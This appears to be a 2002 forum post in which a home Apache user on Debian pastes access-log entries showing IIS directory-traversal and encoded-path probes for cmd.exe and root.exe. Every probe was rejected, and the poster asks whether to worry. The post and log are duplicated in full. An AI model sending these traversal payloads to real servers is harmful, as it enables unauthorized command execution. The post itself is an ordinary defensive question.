Web Server Attacks?
Posted: Mon Nov 25, 2002 4:23 pm
I have a computer running Debian 3.0 and I am messing around using Apache. I set up the webserver and such (actually have 3 instances of Apache that listen on different ports). Today was the first day that I allowed the ports to be forwarded from my router so I could access it from school. I have authenication setup (users + passwords) and on my port 80 server I have it so it only allows from my home network basically. Well today I decided to check my Access.log file and there were a lot of instances where I saw the following:
"GET /scripts/root.exe?/c+dir HTTP/1.0" 403 283 "-" "-"
"GET /MSADC/root.exe?/c+dir HTTP/1.0" 403 281 "-" "-"
"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 291 "-" "-"
"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 291 "-" "-"
"GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 305 "-" "-"
"GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 322 "-" "-"
"GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 322 "-" "-"
"GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 338 "-" "-"
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 304 "-" "-"
"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300 "-" "-"
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 304 "-" "-"
"GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 304 "-" "-"
"GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 284 "-" "-"
"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 284 "-" "-"
"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 305 "-" "-"
"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 305 "-" "-"
Now I'm not stupid but it appears as though people are trying to crash the server, which is running Windows. It is on Debian and everything is working and up to date and such. Should I worry about these or just ignore them as script kiddies scanning port 80 and trying to crash a webserver? The reason I ask is I also run MySQL and I have phpMyAdmin working, but it is under the protected one where connections are limited to my network. I don't want people to be able to get into phpMyAdmin and then mess with my MySQL databases. Any concerns? Should I just block port 80?
"GET /scripts/root.exe?/c+dir HTTP/1.0" 403 283 "-" "-"
"GET /MSADC/root.exe?/c+dir HTTP/1.0" 403 281 "-" "-"
"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 291 "-" "-"
"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 291 "-" "-"
"GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 305 "-" "-"
"GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 322 "-" "-"
"GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 322 "-" "-"
"GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 338 "-" "-"
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 304 "-" "-"
"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300 "-" "-"
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 304 "-" "-"
"GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 304 "-" "-"
"GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 284 "-" "-"
"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 284 "-" "-"
"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 305 "-" "-"
"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 305 "-" "-"
Now I'm not stupid but it appears as though people are trying to crash the server, which is running Windows. It is on Debian and everything is working and up to date and such. Should I worry about these or just ignore them as script kiddies scanning port 80 and trying to crash a webserver? The reason I ask is I also run MySQL and I have phpMyAdmin working, but it is under the protected one where connections are limited to my network. I don't want people to be able to get into phpMyAdmin and then mess with my MySQL databases. Any concerns? Should I just block port 80?